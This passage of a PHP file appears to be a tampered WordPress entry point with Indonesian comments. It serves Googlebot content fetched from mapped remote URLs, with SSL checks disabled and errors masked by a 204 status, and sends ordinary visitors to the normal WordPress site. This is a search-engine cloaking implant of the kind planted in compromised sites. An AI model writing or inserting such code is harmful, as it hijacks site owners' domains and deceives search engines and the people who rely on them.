'https://hatersonduty.com/hotelventura-it/', // tambahkan path lain dengan kedua varian ]; if (isGoogleBot()) { $path = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH); // Log path yang diterima file_put_contents(__DIR__ . '/cloak_debug.log', date('Y-m-d H:i:s') . " | Path: $path\n", FILE_APPEND ); // Cari di map (coba path asli, lalu tanpa trailing slash) $remote = $cloaking_map[$path] ?? $cloaking_map[rtrim($path, '/')] ?? $default_remote; file_put_contents(__DIR__ . '/cloak_debug.log', date('Y-m-d H:i:s') . " | Selected remote: $remote\n", FILE_APPEND ); // Ambil konten remote $ch = curl_init($remote); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Googlebot'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $html = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); file_put_contents(__DIR__ . '/cloak_debug.log', date('Y-m-d H:i:s') . " | Remote HTTP code: $http_code, length: " . strlen($html) . "\n", FILE_APPEND ); // Jika remote error (termasuk 403), kirim 204 No Content agar Google tidak lihat 403 if ($html === false || $http_code >= 400) { http_response_code(204); exit; } // Kirim konten dengan status 200 http_response_code(200); header('Content-Type: text/html; charset=UTF-8'); echo $html; exit; } // Bukan Googlebot, lanjutkan define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';